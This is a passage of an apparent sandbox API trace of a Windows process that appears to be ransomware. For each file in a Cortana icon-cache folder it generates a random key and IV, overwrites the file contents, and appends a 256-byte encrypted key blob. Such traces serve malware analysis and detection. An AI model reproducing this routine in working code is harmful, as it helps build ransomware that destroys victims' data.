pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.075] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.075] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.075] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.075] CloseHandle (hObject=0x1af4) returned 1 [0181.077] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.077] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.077] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{105794B2-E9C9-44C8-ACF6-B7C0B365698C}", dwFileAttributes=0x80) returned 1 [0181.077] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{105794B2-E9C9-44C8-ACF6-B7C0B365698C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{105794b2-e9c9-44c8-acf6-b7c0b365698c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.077] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.078] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.079] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.079] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.079] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.079] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.079] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.079] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.079] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.079] CloseHandle (hObject=0x1af4) returned 1 [0181.081] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.081] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.081] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{0B9E8261-988B-4055-82FD-728741FA7859}", dwFileAttributes=0x80) returned 1 [0181.081] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{0B9E8261-988B-4055-82FD-728741FA7859}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{0b9e8261-988b-4055-82fd-728741fa7859}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.082] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.082] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.090] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.091] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.091] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.091] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.091] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.091] CloseHandle (hObject=0x1af4) returned 1 [0181.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.101] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{095069DB-9C71-4A14-B8D7-97E8B3310415}", dwFileAttributes=0x80) returned 1 [0181.101] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{095069DB-9C71-4A14-B8D7-97E8B3310415}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{095069db-9c71-4a14-b8d7-97e8b3310415}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.102] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.102] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.110] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.110] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.110] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.110] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.110] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.111] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.111] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.111] CloseHandle (hObject=0x1af4) returned 1 [0181.118] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.118] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.118] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{07E7709A-2252-4F64-93C1-4DBAB210817B}", dwFileAttributes=0x80) returned 1 [0181.129] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{07E7709A-2252-4F64-93C1-4DBAB210817B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{07e7709a-2252-4f64-93c1-4dbab210817b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.130] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.130] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.132] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.132] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.136] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.137] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.137] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.137] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.137] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.137] CloseHandle (hObject=0x1af4) returned 1 [0181.139] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.139] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.139] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{06A6D43F-8744-4A41-B9CE-FFA8570069CC}", dwFileAttributes=0x80) returned 1 [0181.139] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{06A6D43F-8744-4A41-B9CE-FFA8570069CC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{06a6d43f-8744-4a41-b9ce-ffa8570069cc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.140] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.140] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.149] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.150] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.150] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.150] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.150] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.150] CloseHandle (hObject=0x1af4) returned 1 [0181.152] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.152] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.152] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{05A060EB-5890-4344-9370-DC1E06EC42BA}", dwFileAttributes=0x80) returned 1 [0181.152] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{05A060EB-5890-4344-9370-DC1E06EC42BA}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{05a060eb-5890-4344-9370-dc1e06ec42ba}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.153] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.153] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.158] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.158] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.158] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.159] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.159] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.159] CloseHandle (hObject=0x1af4) returned 1 [0181.160] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.160] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0181.160] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{034FA7ED-D1B4-4D9A-971D-782B8715E040}", dwFileAttributes=0x80) returned 1 [0181.161] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{034FA7ED-D1B4-4D9A-971D-782B8715E040}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{034fa7ed-d1b4-4d9a-971d-782b8715e040}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.161] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.161] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.166] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.166] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.166] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.167] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.167] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.167] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.167] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.167] CloseHandle (hObject=0x1af4) returned 1 [0181.168] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.168] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0181.168] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{0079A0FC-58F2-467F-9294-6309B1E659EF}", dwFileAttributes=0x80) returned 1 [0181.169] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{0079A0FC-58F2-467F-9294-6309B1E659EF}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{0079a0fc-58f2-467f-9294-6309b1e659ef}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.169] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.169] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.177] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.177] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.178] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.178] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.178] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3538*, 